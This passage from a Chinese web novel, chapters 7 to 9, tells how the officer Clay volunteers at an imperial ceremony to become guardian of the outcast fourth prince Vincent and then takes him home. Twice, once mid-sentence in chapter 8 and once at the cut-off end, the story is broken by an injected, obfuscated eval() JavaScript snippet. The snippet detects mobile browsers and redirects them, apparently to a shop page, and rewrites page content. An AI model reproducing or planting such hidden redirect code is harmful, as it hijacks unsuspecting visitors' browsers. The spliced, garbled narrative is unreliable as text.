最起码转播时,减掉前面的部分,也容易一些。 圣约莫陛下到底是偏袒这个受宠爱的皇子,他顺着圣尤金的话,望向近卫军长官聂盖特,缓缓开口道:“外面发生什么事了?” 聂盖特的一对触角警觉地立起,他行礼后回道:“回圣座,是——四皇子殿下,他刚才试图闯入主殿。” 克莱不由一顿,四皇子文森,那个可怜的孩子。 圣约莫陛下蓝色的眼眸闪过一抹诧异,他仿佛需要想一会儿,才能意识到,皇廷里还有这么一位雄虫皇子,但即使意识到了,高高在上的虫帝也只是淡淡地说道:“是他?幼虫不懂规矩,送他回去吧。” 送他回去?可能即使圣约莫殿下不开口,文森也会被强制送离,破坏皇廷和军部如此重要的仪式,他又会得到怎样的惩罚?! 而此时,门前的喧闹之声,竟然更大了一些。 克莱敏锐的察觉,文森这次硬闯,是拼尽了全力。 “怎么,还不送回去?”虫帝声音微微一沉。 “回圣座,四皇子殿下,他,反抗很激烈,他要求见圣座。”聂盖特已经收到门前士兵们的汇报,立马欠身说道。 近卫军有的是手段制服一只年少的雄子,但是闹出虫命又是另一回事。 三皇子圣尤金轻轻一抹讥讽声:“就凭他……” 就凭他,呵呵! 克莱的记忆被牵引,仿佛回到从前…… ——“就凭他,一个母妃早死,父皇连看都懒得看一眼的小皇子,也敢挡本王的路,我踢他下水又如何?你一个小太监,有几个脑袋,敢管皇子间的事?!” ——“这病熬不过,死就死了吧,宫里死一个没人管的孩子,算不了什么大事。你只是个太监奴婢,这个主子死了,就跟下一个,不都是这么过来的……” ——“小福子,你要记住,在这宫里,切莫多管闲事,一句话也不要多说。你看看,跟着你一起进宫的那个,第二天就没了。” ——“福哥,不该让你陪我的……” 杂乱的记忆,血染的面容,那个同样不受宠爱的四皇子。 ——“大哥哥,你笑起来,一定更好看!你,你不要哭了!” ——“……嘿嘿,分你一颗,甜的!” ………… “尊敬的圣座陛下。” 在克莱回过神时,他已经上前了一步,站了出来。 他的声音恭谨,沉稳,一如以往。 瞬间,整个主殿内,所有虫的目光一下子都集中在了他的身上。 如果,他还只是个前世的小太监,在开口的下一秒他就会被处死,但现在,不会。 他是整个帝国为数不多的A级军雌少将,他战功卓越,前途无量,他代表的是赛弗伦军团,是军部。 况且,除了里昂特元帅的养子,他还有一层身份,不到万不得已,他本不想动用的一层身份。 “圣座仁爱,四皇子殿下若能来观礼嘉奖仪式,也是我等的荣幸。” 7. 第七章 自荐 克莱的话一出,主殿内立马笼罩在一片震惊之中。 科赛特侧头瞪大了紫色的眼眸看向自己熟悉的学弟,这不像是一向低调稳重的克莱学弟,在虫帝圣座面前会忽然站出来说的话。 胆子太大了,而且这个从没有在公开场合露过面的四皇子,和他们军部关系不大,这是皇廷内部的事。 学弟是在回程途中,真的遇袭被什么沙聂虫的新科技手段附身了吗?! 近卫军长官聂盖特低着头轻不可闻地叹了口气,他知道,克莱到底还是放心不下那个雄子,别看这小克莱平日里温和起来不像话,实际上性子比谁都倔。 聂盖特触角微动,他已给主殿门前的士兵下令,让他们控制住四皇子文森,不要伤了他。 “你在说什么?你有什么资格——”三皇子圣尤金走到克莱面前,拔高了声音,但下一刻,他被高位上的虫帝喝令住了。 “圣尤金,回来,先让礼仪大臣,再给你好好讲一讲嘉奖授予的流程。”虫帝的声音不大,但等于是从侧面承认了三皇子授予勋章顺序的错误,也对殿下年轻的军雌少将们进行安抚。 “你是赛弗伦军团的克莱·埃弗洛吧,已故的上将格特·埃弗洛是你的雌父。脸是受伤了吗?等会儿让皇廷的亚雌医生们看看。”虫帝圣约莫陛下语调平缓,顿了顿,才继续说道,“都已经长这么大了,最近还常听你雄父提起你。啊,对了,你后来一直由里昂特抚养。” 在念到元帅名字的时候,虫帝的声音放轻了些许。 帝国内,知道克莱雄父身份的寥寥无几,但虫帝圣约莫陛下一定是知晓的。 穿越而来的克莱记得,他刚出生那时,圣约莫陛下曾参加过他的“虫诞礼”。 “四皇子文森,一直让本帝座和圣律院都很头疼,你知道吗?”虫帝圣约莫陛下的眼神或许变得锐利,那意思是在警告克莱,你在惹一个麻烦,天大的麻烦! 一般普通的虫,到这里就差不多知难而退了。 可是克莱,他有太深的执念。 以前,为了姜延业,身为小太监的他曾夜里在老皇帝的寝宫外跪着哭过一夜,也曾不要命地顶撞过皇帝的宠妃,九死一生,也就这么过来了,有那么一刻,老太监说的凡事先思,不要多管闲事的忠告,他是一点也记不得了。 克莱对着虫帝行了一礼,没有退缩。 圣约莫陛下于高座上,微微一笑。 座下三皇子圣尤金皱着眉,定定地看向克莱,猛地,双尾竖起,他仿佛意识到了什么,脸色在这一刻极其难看。 "让四皇子进来。"圣约莫陛下给了聂盖特一个手势。 直到现在,不仅是科赛特,连另一列站着的几只军雌少将,包括向来和克莱不对付的卡林若,都觉得他疯了。 四皇子文森被两只近卫兵军雌带了进来,此刻他宽大的白色长袍上星星点点,布满零落血污,所幸暗红的卷发还完好的被扣起,他在嘉奖仪式前,没有被三皇子以及虫伴抓住戏虐。 但是硬闯主殿,扰乱皇廷仪式,他还是受了伤,正在流血。 少年雄虫幽绿的眼眸,夹杂着决绝和孤注一掷的暗涌。 他的身影印在克莱的眼中,被带上来的一瞬,低着头的少年雄虫没有注意到,立于一旁,脸上有了伤疤作为遮掩的克莱。 文森抬起头,在长年累月不断的打击和欺凌下,他该是自卑的,畏缩的—— 但是此刻,他毅然抬起头,望向高位上的圣雄父,圣聂特帝国的君主,尊贵的圣约莫陛下。 没有恐惧,没有迷茫,年少雄虫,四皇子文森殿下,仿佛已经预料到了自己的结局。 但是,他不能害怕,是的,他不能——发颤的手臂只能藏在衣袍里,而衣袍上还有刺眼的红,那是还在渗出的血。 少年雄虫的眼眸,深不见底。 伟大的虫帝华服璀璨,高高在上,俯视着跪于陨星髓岩之上的雄虫——皇廷内,如同幽灵般无虫问津的四皇子。 虫帝圣约莫陛下已经不太记得起,上一次见这个担着四皇子头衔的雄子是在什么时候了。 这个F级的雄虫,是一只雌奴所生,和皇廷血脉金发蓝眸不同,他有着一头暗红的卷发和一双幽绿的眼眸,脸上的黑斑不是虫纹,是一种说不清的诡异斑痕,出生后不久莫名地冒了出来,随着年龄增长,越长越大。 他已经十八岁了,却没有开始长出虫纹进入成年期,二次分化遥遥无期,圣律院还大做文章,说新恒典削减了圣律院雄虫祭司们的特权,却在皇廷养着一只废虫。 那不如,就将他作为一只废虫处理掉吧? 圣约莫陛下并没有觉得这样的处理有任何问题,反正,他已经有了足够多的雄虫皇子,一个F级的雄虫根本入不了皇廷的眼。 而圣约莫陛下向来自诩为伟大仁爱的君主,在克莱的请求下,他还是给了这个见不得光的雄虫皇子一次觐见的机会。 于是,伟大仁爱的圣约莫陛下开口道:“文森,为什么要在主殿外喧闹?你不知道这是一场重要的嘉奖仪式吗?” 克莱和其他军雌一样,立于一旁,他看向跪在地上的文森。 这只尚在幼虫期的雄虫太瘦弱了,年过十八,但看起来不过十四、五岁的模样,宽大的衣袍被肌肤伤口涌出的血浸透,但他努力抬起头,挺直了上身,维持着属于一个少年皇子的礼仪和尊严。 而他,应该连个教礼仪的亚雌老师都没有吧。 “回圣雄父,我,我是来,和您告别的。”文森的声音,是少年声线的清脆,放得很低,很虔诚,很恭敬。 “告别?”圣约莫陛下挑眉,他瞟了一眼座下另一边站着的亚雌侍从长。 侍从长立马上前一步,回答道:“禀报圣座,依照圣座的指示与《圣约莫新恒典》第三百六十一条的法规,帝国内F等级以下的雄虫和D等级以下的雌虫,若家族不愿接纳,且没有虫自愿成为其监护者,将被送至地下虫巢庇护所。四皇子殿下作为皇廷中的雄子,更应该以身作则。” 克莱通过光脑已了解过《圣约莫新恒典》的这条法规,《旧恒典》中原本是将低等级的雌虫和雄虫强行配对,但结果是出现不少雌虫在身体上重伤雄虫,或是雄虫对雌虫强行精神控制造成雌虫精神损伤的案例。 所以虫帝圣约莫陛下修改了该法条,一方面一定程度上婚配自由,另一方面也是为被社会所歧视的低层级雌虫和雄虫们,一个容身之所。 这本来是一件好事,但克莱通过虫网新闻了解到,《圣约莫新恒典》颁布后,新建的地下虫巢庇护所的资金受到多方阻扰,一直没有到位,且庇护所管理混乱,还有一些其他内外因素的影响,目前的地下虫巢庇护所,可谓一言难尽。 圣律院估计是想尽办法在里面做文章,以此来打压《圣约莫新恒典》。 身为F级雄虫的四皇子,自然也是他们可以做文章的对象。 但三皇子口中曾说过,文森被送走后活不过三天,克莱有理由猜测,皇廷很可能在四皇子文森到达地下虫巢庇护所之前,就将他当做废虫处理掉。 这样皇廷既维护了《圣约莫新恒典》,又能让圣律院闭嘴,也解决掉了四皇子这个可有可无的麻烦。 弱者在权力的斗争中,随时都可能是弃子,如是而已。 现在的文森除了最后对自己的圣雄父告别,他还有的用处,便是让虫帝圣约莫陛下在一众军雌面前,表现皇廷是如此遵守新恒典,以身作则的——这也是虫帝还允许四皇子继续在此说话的原因。 所以,圣约莫陛下对侍从长的话,满意地笑了,他说:“文森,你有心,告别而已,可以等到嘉奖仪式之后,没必要这么心急。” 文森抬起头,幽绿的眼眸,仿佛涌动起少年的天真:“回圣雄父,刚才——有亚雌侍从说,听从二皇子哥哥的命令,不等到明日,即刻就让我上路。” “伟大的,崇高的,我最受敬爱的圣雄父,请允许我在上路之前,再见您一面。”文森的声音恳求,他低下头。 很自然,很真诚,他不称二皇子为二皇兄,而是二皇子哥哥,怯生生地,还有一丝害怕。 四周,开始有些窃窃私语。 二皇子圣普利是圣律院大祭司的弟子,他既是皇廷的皇子,又供职于圣律院,这个身份很微妙。 虫帝圣约莫陛下的神色也随之微妙起来,他说:“二皇子的命令吗?” “是的,圣雄父陛下。”文森轻声回答着,低下头,没有再多说一句。 虫帝圣约莫陛下的光脑系统是整帝国最迅速最高效的,他很快就会知道文森是否在说谎。 克莱低垂的目光,落在文森的身上,这个一直被轻视被欺辱的孩子,这个被视为弃子的雄虫,他在拼命的自救! 如果不硬闯这次嘉奖仪式,他应该已经被带走了。 紧接着,虫帝圣约莫陛下望向文森的神色缓和了,语气也柔和了起来,应该是确认了文森所说的没错,他继续问道:“你的二皇子哥哥,还和你说过什么?” 克莱仿佛听见了跪在大殿正中的文森,轻轻咽下口水的声音。 少年雄虫的声音很轻:“二皇子哥哥,他——他带了位白袍的雄虫叔叔,还有几个军雌侍卫,让我从他们身边走过,然后说,没有雌虫愿意做我的监护者,所以我,我只能被送走。” 克莱明白了,穷途见匕,文森在赌,他赌他的圣雄父会否决掉二皇子的擅作主张,这样选监 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四下完全听令于虫帝的亚雌侍从和军雌近卫兵们集体缄默。 而原本过来进行嘉奖仪式的几位军雌少将,更没有理由卷入皇廷内部的事宜。 科赛特额间蝴蝶状的虫纹微动,他有些担忧地看向克莱,克莱今日的言行实在不像平日稳重低调又长袖善舞的优秀学弟。 卡林若的目光则一直在座下三皇子圣尤金的身上,他念念不忘的,是三皇子选雌君这回事…… 跪在地上的文森,嘴角轻轻抽动了一下,随之淡然地低下头。 晦暗的目光也垂了下去,阴鸷冷厉也一并隐了下去。看起来不过十五、六岁的雄虫文森,冷切又释然的轻轻一笑,稍纵即逝——那不是一个少年雄虫该有的笑,但并没有虫注意到。 他如同一个坦然失败的高傲挑战者。 认赌服输。 是呀,哪只雌虫会愿意做他的监护者?!哈?有哪只雌虫会—— 三皇子身旁的礼仪老臣摇了摇头,在这个雄卑雌卑的社会,雌虫的生存已属不易,不会有哪只雌虫会莫名愿意做一只F级雄虫的监护者,那样雌虫的生活只会更加艰难。 说是监护者,其实就是这只F级废虫名义上的雌君,只是为了让雌虫好脱身,不至于一直被一只不能生育的残疾雄虫捆绑,所以,以监护者的名义,给了雌虫可以自愿离开的权利,但是这种监护契约一旦录入系统,最起码三年起步…… 不会有雌虫愿意,为了一只F级的废虫做这么大的牺牲。 文森知道,不会有的——这很正常。 这些年,他没有少受宫廷内雄虫和雌虫的欺负,不止是皇子和虫伴,还有那些捧高踩低,暗里对他经年累月折磨的亚雌侍从,以及他被折断双手,被无端欺辱时视而不见的军雌近卫兵。 就要这样认命了吗?文森记得被二皇兄领进来走过场,说是为他挑选监护者时,那些军雌们的眼神。 是呀,确实没有雌虫愿意做自己的监护者,这是事实,就算不是走过场,他们也不会愿意。 可是,他不甘心! “文森,按照法规,若没有雌虫愿意做你的监护者——”虫帝圣约莫陛下这么说着。 牺牲掉一个自己不喜欢的低等级雄子,就能让新恒典得到宣扬,又能让在场的军雌们见证皇廷的无私,虫帝的公正,何乐不为? 关于文森是否会在被送出皇廷的路上被解决掉,根本无关紧要。 虫帝圣约莫陛下缓缓说着,他顿了顿,眯起眼一边环视着四下军雌少将们,现在闯入的四皇子该退场了,他还要为心爱的三皇子挑选合适的雌君,这才是圣约莫陛下更为关心的事。 “圣座陛下。” 克莱的声音再度响起。 他单膝跪下,再次将整个主殿内所有的目光都集中在了自己身上。 克莱很清醒,这一刻。 他甚至清楚地记起上一世,在那个京城皇宫里,有人问他,当一个连口热饭都吃不上的小皇子的贴身太监,到底图什么呀。 成为太监的日子可以很苦了,有一个没权没势的主子,基本就一辈子没法出头了。 没必要,陪着一个没有希望的皇子,过于没完没了的苦日子。 更没必要,还陪着一起殉了国。 可是—— 世间未完成的过往,终会在某一个节点,应下它的烙印。 克莱听见自己的声音,很清晰,没有迟疑。 他说:“尊敬的圣座陛下,请原谅我的唐突,并允许我在此自荐—— ——我,克莱·埃弗洛,愿意成为四皇子殿下的监护者。” 8. 第八章 监护 克莱的话音落下,主殿忽然在这么一刻,出奇地安静,连聂盖特的触角都直直僵住。 学长科赛特仿佛是糟糕的预感得到了证实,无奈地闭上眼。 克莱学弟是疯了,真的疯了! 紧接着,才是一众哗然,但被压抑在了虫帝无声的权威之下。 连心思在三皇子身上,不免沉浸在自己思绪里的卡林若,也不由惊讶地抬眼,接着闪过一抹转瞬而逝的嗤笑。 率先出声的,是虫帝座下的三皇子殿下圣尤金,也只有他,敢在圣约莫陛下面前喧然出声。 “本殿不允许,你凭什么自荐?!圣雄父,您不能让他这么做!”圣尤金怒气冲冲地抬手指向克莱,身旁的雄虫礼仪大臣拦不住他。 “尤金,退下。”圣约莫陛下微微皱起眉,他并没有过于严厉地呵斥圣尤金,对这个一贯宠爱的雄子,他总是格外宽容,况且这本就是为了三皇子殿下选雌君才举办的嘉奖仪式。 虫帝高高在上的目光,扫过从大殿中的文森,到一侧出列单膝而跪的克莱。 圣约莫陛下开口,是对克莱:“克莱·埃弗洛,知道自己在说什么吗?” 周遭的目光,落在克莱的身上,有惊诧,有不解,有嘲讽,有难以置信的疑惑,有隐在低下目光中的嗤笑,也是八卦热闹的探究好奇,更多的还是事不关己的冷眼旁观。 他们等着克莱如何回答。 克莱·埃弗洛,近几年在军团中屡立战功,晋升极快,他是最高统帅里昂特唯一的养子,也是帝国正在冉冉升起的将星,毫无疑问有着属于A级军雌少将的远大前程。 不然,他也不会出现在这场别有意义的皇廷嘉奖仪式上。 在这里,自荐成为一个F级雄虫不受见待小皇子的监护者,无异于自毁前程。 跪在主殿中央陨星髓岩之上的四皇子,长长的衣袍包裹着的瘦弱雄虫不由微微抬起头,那一刻,他的目光望向一侧单膝而跪的军雌—— 修长的身形,挺拔的身姿,飒爽的军服,带着疤痕的侧脸,掩不住好看的轮廓…… 即使很多很多年后,已经不再是少年雄虫的文森,也一直清晰的记得,年轻的军雌少将恭谨地卷起骨尾,那诚恳又坚定的模样。 文森在此时低下头,一切情绪被隐藏在阴影里。 没有虫知道,他在想些什么。 克莱对着至高无上的虫帝抬起头,说道:“是的,圣座陛下,我愿意——当四皇子殿下的监护者。” 克莱知道这样做的后果,成为F级雄虫的监护者,即为该雄虫名义上雌君,即使文森尚未开始长出虫纹进行成年期,但监护契约一定缔结,他也会和那些缔结婚约的军雌一样,被强制要求在文森身边待满三个月。 与此同时,监护者会被打上F级雄虫伴侣的烙印,监护契约一旦结成,三年内强制有效,这对一只军雌而言,无疑是让自己在这个雄尊雌卑的世界开启了地狱模式。无论在雌虫还是雄虫看来,这都是无法理解的决定。 “你想清楚了?”主殿内很安静,虫帝圣约莫陛下的声音,可以轻松地传达到每一个角落。 克莱的回复也是,他恭谨地说道:“是的,尊敬的圣座陛下,愿您,能应允。” 虫帝圣约莫意味深长地一笑:“虽然本帝座不觉得你的雄父会认同你的选择,克莱,但既然你自告奋勇地站了出来,那——文森就拜托你了。” 顿了顿,虫帝圣约莫的目光扫过座下强压怒火的宝贝雄子圣尤金,接着说道:“但文森不能再继续待在皇廷,作为监护者,克莱·埃弗洛,由你负责把他带走。” 变相被逐出皇廷,但既然留得青山在,就不怕没柴烧,克莱不由松了一口气。 “就这样吧——嘉奖仪式,重新开始。”虫帝圣约莫陛下就此,一锤定音。 负责礼仪的雄虫老臣还在细声叮嘱,圣尤金狠狠瞪了他一眼。 重来一次的嘉奖仪式,三皇子圣尤金这一次没有再弄错顺序,他径直走到了克莱的身旁。 而当克莱行礼接过琥珀勋章时,圣尤金忽然轻轻倾身,一把狠狠地抓住他的手臂,靠近他耳边,冷冷地,用极低的声音说道:“我认出你了!我们刚刚见过——你,是我先看中的!你以为把脸弄成这样,我就会放过你吗?!” 克莱不理会恼羞成怒的圣尤金,他从容地抬眸,望向高位上的虫帝。 这是要进行转播的,就算是远景处理,也不允许三殿下做出更出格的事情来。 圣尤金暗暗咬牙切齿,阴沉着一双蓝眼睛,但也只能愤恨地松了手。 克莱面不改色,事已至此,到省了他手心中的虫香料。 之后的嘉奖仪式,总算是顺利进行了下去。 但,有些事,才刚刚开始。 当仪式结束,身为皇廷近卫军的长官聂盖特将低着头沉默不语的四皇子文森,带到主殿外侧廊道交给克莱时,还是不由叹了口气,说了一句:“克莱,你要不要再考虑一下?或者,先问一下里昂特元帅的意见。” 克莱身旁的科赛特看了一眼脏兮兮的少年雄虫,优雅的军雌眉头皱得更甚,连额间的蝴蝶纹都成折叠立体了,他抱臂转头看向克莱:“契约烙印还没有进行缔结,你随时都可以反悔,克莱,就当你是可怜他,也不至于做到这个地步。” 克莱不悦得瞥了科赛特一眼,他注意到科赛特说话时,文森朝后悄无声息地退了两步,他的头低得更下了,仿佛是想将自己缩进聂盖特身后的阴影里。 “学长,不用为我担心,聂盖特叔叔也是,我知道自己在做什么,元帅那边我会亲自向他解释。”克莱说完,安抚般地望向文森,他的目光和熙,轻轻上前一步。 但文森随即下意识地又猛地后退了一大步,他始终没有看向克莱的眼睛,目光侧向一旁。 好似一种无法藏匿的羞耻感。 少年雄虫闷闷地。 克莱没有再上前,他对着文森站定半鞠躬行礼,然后温柔地说道:“殿下,现在已经没事了。您身上的伤还好吗?有没有哪里不舒服?“ 文森咬住嘴唇,久久地。 克莱感觉到文森无声地抗拒,他和少年雄虫保持着距离:“抱歉,殿下,我脸上的疤痕吓到您了吧。请您不要介意,现在,我可以带您离开吗?” 一种仿佛不该出现在虫族皇廷里的真诚。 他的目光落在文森衣袍已经风干的血迹上,从在主殿时,他就一直担心文森的伤势。 文森的眼角微微发红,许多年,他没有过这种感觉。 他是F级雄虫,他脸上有难看的斑痕,他从小就不受见待,连皇廷里低等级的雌奴就算不敢明目张胆,但都在暗暗地嫌弃他。 他知道的,他一直都知道。 所以没有虫对他温柔,是很正常的,他习惯了。 习惯了,就不会有想哭的冲动。 所以,能不能别用这种他不习惯的口吻,对待他?! “伤口已经让亚雌侍从们刚刚处理过了,止住了血,也上了药。”聂盖特一边说着,他将一个破旧的竹箱递给克莱,“这是文森殿下的衣物行礼。” 完全看不出,这就是一个雄虫皇子的全部家当。 三皇子殿下可是拥有“翡翠环带”中最富饶的一颗卫星。 文森却上前一步, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478957|201638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从聂盖特手中顺势接过那个破旧的竹箱,自己提在手中。 他抿住唇,没有适才主殿孤掷一注的决绝,但却有股似乎在极力掩饰什么的别扭。 好友兼学长的科赛特轻轻啧了一声,无奈地用手背靠上额间——飞蛾族这么多年进化,也都早就不扑火了,自己向来优秀的学弟,这到底是为哪般呀?! 聂盖特的触角跟着头一起摇了摇,他说:“文森殿下没有其他随身物品了,克莱,你随时可以带他走。” ++++++++++ 回去的路上,文森安静地坐在晶壳小型飞行器后排,克莱本想让他坐在前排副驾,但文森无声地在后排坐定。 身旁放着那个破旧磨损的竹箱。 现在虫族社会,一般都会用琉璃珠球或是结晶芯片外形的小型储物器,来装大件的物品,这种不值钱的竹箱很早就被淘汰了。 终于可以说话的光脑,不由好奇地开口:“虫主阁下,我们真的要把文森殿下带回家吗?” “当然。”在驾驶座上的克莱已经在意识里给光脑下达了命令,“在我到家之前,让机器管家把主卧进行彻底打扫和清理,给文森殿下,同步备好浴室内浴缸的热水,还有,在虫网上采购一整套少年雄虫的生活用品,以及三十套最新款的适合十八岁,不——十六岁左右少年身形雄虫的衣服,内衣、鞋袜、领带、饰品……都一并配齐。” 说着,想目测确认文森身形尺寸的克莱,不由抬头,透过前排室内后视镜看了一眼后排的文森。 抬眼间,发现文森竟正在目不转睛地看他,但目光一旦碰触,文森便立马猛地侧过头,看向飞行器窗外。 像是被抓住的,干了坏事的孩子,文森的脸泛起一抹淡红。 他莫名有些懊恼般鼓起腮帮子,故意保持着少年略带桀骜不驯的样子。 克莱收回目光,轻轻弯了弯嘴角。 “收到,虫主阁下,已在虫网最大的约克夏商城下单,生活用品选用的是商城最畅销的品牌,还有雄虫十六岁身形的星际QV顶奢时装秀排名前三十的最新品,一定能让文森殿下立马成为全星际最靓的——”光脑依旧效率。 “不要时装秀,QV品牌的日常服饰,别忘了睡衣。”克莱对时装秀时不时出的奇装异服没有任何兴趣,有时就几块不知什么星际的材料拼接成一个略显诡异的造型,有一次,克莱不经意看了一眼,这么多年,他还是一眼就认出了,那不就是个大型 蜚(蟑螂)的外壳吗?! 虽然搞艺术的亚雌们总将此定义为时尚。 克莱不懂这种时尚,他自己除了军服,就是几件简单的日常衬衣,还有好几件一模一样的,衣柜可谓单调。 他当年是太监时,从春到冬,太监常服也不过两套,冬天冷了就多加件内衬,破了就自己缝补丁。后来,升为了御前总管太监,也就多穿了三天华丽点的总管太监官服。 克莱对衣饰上并没有过多要求,但因做太监时谨慎的习惯,他时刻要求衣着得体,符合身份,没有大错。 所以,克莱的衣服单调是单调,但整齐有序,且都是QV顶奢品牌,对于已是军团少将且已经完全不缺钱的克莱而言,这是不用动脑,习惯性不会出错的选择。 军团内高级军雌大多也用这个品牌。 “明白,虫主阁下,已进行紧急处理,您和文森殿下到家前,机器管家会将送达的生活用品摆放整齐,成套新的衣服已放进为文森殿下准备好的主卧衣服,洗澡水也已备好……” 光脑正汇报,忽然,它停了停。 故意放低了声音,如同说悄悄话:“虫主,文森殿下又在后面看您呢。” 9. 第九章 回家 晶壳小型飞行器驶入了一座小型花园别墅。 克莱在塞拉芬主星大约有十来套房产,其中有六套是去世的雌父留给他的,有一处微型虫巢是养父里昂特元帅在他军校毕业时送他毕业礼物。 其余的几套则是他在加入军团后购置。作为屡立战功的高阶军雌,加上已故雌父留给他的巨额遗产,克莱并不缺钱。 这几处购入的房产,不少都是消息较为灵通的科赛特学长推荐的,皆在各个军部联络处附近,且都是带大庭院的别墅,主要是方便在后院建立练习场,进行模拟战斗练习—— 比起虫网上的虚拟空间战斗练习,克莱更喜欢在后院的练习场中实操练剑。 这自然和克莱身为太监时的记忆和未完成的成为将军的梦想有关,在这个光脑普及,战斗生物机甲横行的虫族世界,他依旧没有放弃曾经的那把剑。 当晶壳小型飞行器停在大门前,机器管家已经在门外恭候多时。 “恭迎文森殿下和虫主阁下!”机器管家的外形类似亚雌,常年忙于军团事务并征战在外的克莱,基本保持了机器管家的出厂设置。 机器管家负责这一处别墅的日常管理和各种家务,听令受制于光脑和克莱的指令,相较于自主性强的光脑,表现出更强的机械感。 小型飞行器后座的门,是克莱亲自打开的,文森抱着破旧的竹箱,从后座下来。 虫族的花园别墅往往和皇廷一样,崇尚极繁设计,不少设计的如同迷宫一般,但克莱的别墅布置则很简约,无论内外。 文森缓缓打量着这个陌生的地方,陌生的机器亚雌管家,和曾多次跟随虫帝陛下出访各大星球的三皇子圣尤金不同,他从出生起就未离开过皇廷,这是第一次—— 他的目光落在一旁克莱的身上,又轻轻垂下。 克莱对他行礼,温和有序,一丝不错的礼节和恭敬:“文森殿下,我们到了,我带您进去。” 文森默然,他皱起眉,跟在克莱的身后。 在进门时,克莱听见身后传来少年雄虫轻却沉闷的声音,他说:“别叫我,殿下。” 这声音听不出情绪,平淡地,连自嘲的玩味都被冲淡了,如同陈述一个众虫早已知晓的事实:“从没有虫,把我当成过什么殿下。” 克莱的脚步微微一顿。 他没有回头,骨尾在身后无声地一卷。 光脑在意识里唏嘘:“虫主,文森殿下他……” 克莱手指微动,光脑立马得令禁声。 克莱转过身,他和熙的目光,落在文森脸上。 可文森却立马将脸执拗地扭开。黑斑更多的那一侧面颊,被遮了起来。 年轻的雄虫拎着那只破旧的竹箱,站在门廊的光影交界处。他的碧绿的眼睛垂着,睫毛在眼下投出一小片阴影,两唇角抿住,像是刚才在说一件与自己无关的事。 克莱安静地望向文森。 “好。”他的声音低沉而温和,没有任何惊讶或怜悯,平静且尊重地接受了他的要求。 他直起身,抬手做了一个“请”的手势,很寻常的礼仪。不是对所谓的“殿下”,而是对眼前这只少年雄虫。 “文森,如果不介意,我这样称呼你。” 这一次,他没有加任何称谓。 文森抬起眼,看了他一眼。绿色的的眼眸里,有什么东西微微动了一下,像是不见底的深潭里投进了一粒极小的石子,涟漪还没泛起就沉了下去。 “你可以叫我克莱。”克莱微笑着。 “嗯。”文森轻轻应了一声,抱着破旧的行礼箱,从克莱身旁走过,“我知道……你。” 声音低了下去,似乎欲言又止。 身后,机器管家关上门,依然保持着恭迎的姿态,机械的声音跟随光脑的同步命令改口:“欢迎文森阁下光临。行礼可以交给我,随后将送到文森阁下的卧室,这边文森阁下的房间已准备妥当,请问虫主和文森阁下是否有其他需要?” 克莱温和的目光落下,文森摇了摇头,但并没有放下手中那个破旧行李箱的意思。 克莱跟在他身侧,放慢步调配合他的节奏,同时给了光脑指示,机器管家安静下来,退到一旁。 文森走进客厅,抬头看向前方,略显空旷的主厅,线条简洁的家具,摆放疏落有致,每一件与每一件之间都留着恰到好处的距离。 主调是淡淡的白色,光线也柔和得恰到好处,室内的温度自动调和到最适合虫族居住的最佳状态,合着茶几上摆放着的几盘虫族糖果、零食和点心,透出不经意间丝丝暖暖的平和与温馨。 文森当然见过奢华。 皇廷的每一寸地面都在炫耀皇室的优越,每一个穹顶都在彰显帝国的荣光,每一个宫殿,宫殿里的每一根柱子都在宣告权力,每一个转角都可能藏着不同心思的虫,他们察言观色,捧高踩低,对皇廷的宠儿费尽心思巴结,而对于文森这样被嫌弃的幼虫,即使是雄虫皇子,也不过是可以随意欺辱的对象。 但那不属于他的奢华,也让他本该高贵的身份反而成了最大的讽刺,最惹眼招来欺凌的可能,他不得不在曾经的每一天藏在皇廷隐蔽的角落里,惶恐间学会生存,也被迫见过太多无法言喻的肮脏、残酷和冰冷,还有…… “文森,你的房间在二楼,我带你去看看,好吗?”克莱的声音从侧方传来,依然是不紧不慢的温和。 克莱站在一边,安静地等着。 文森的生活用品和新的衣服早已备齐,主卧内浴室的洗澡水保持着温热的气息,克莱又同步让机器管家将新买的治疗伤口换用药膏放在了文森的床边…… 克莱总是有耐心的。 他等着文森从拘谨和戒备中稍稍缓和,等着他慢慢熟悉这个对他而言全新又陌生的环境。 文森的不逊和别扭,克莱看在眼里—— 他知道,文森早已不再是那个躲在巨大雕像后,笑容灿烂,伸出一只手递糖给自己的孩子。 少年雄虫的眼眸,隐藏下远远超过他这个年龄的诸多心事,身上沾了血迹的旧长袍,仿佛记录下这个不受宠的皇子多年无言的艰辛,混合着皇廷甚至在离开时都不愿给他多换一套皇子体面服饰的吝啬与仓促,如同处理一件可有可无的器物般,轻而易举地将他变相抛弃。 是因为作为F级雄虫的皇廷耻辱,必须解决掉?还是急于应付圣律院发难,就顺势推脱责任? 这期间,没有虫在意过文森的感受。 但在克莱眼中,十八岁的文森到底也不过是个还在步入成年期的幼虫。 他心疼这个看起来过于瘦弱的少年雄虫。 克莱不由想起了曾经同样不受宠的大绕王朝的小皇子,他没有能救下的少主,他们曾经一起在另一个时空,另一座皇城共同经历过荣辱生死…… 遗憾,不甘,牵挂,未尽的忠义—— 前世的执念,让克莱在莫名地某一刻,有了和过往记忆中的自己,微妙的重合感,那是属于一个小太监,卑微却绵长的坚守。 就好像曾经迷失的孤魂,在这个全新的时空中,寻找到了熟悉又切合的轨迹。 他在不知不觉间,无法控制地对文森温柔。 文森点了点头,拎着竹箱,跟着克莱上楼。 别墅内有小电梯,电梯内是同样温润的白,电梯四周和顶部浮雕着文森不认识的红色小花。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 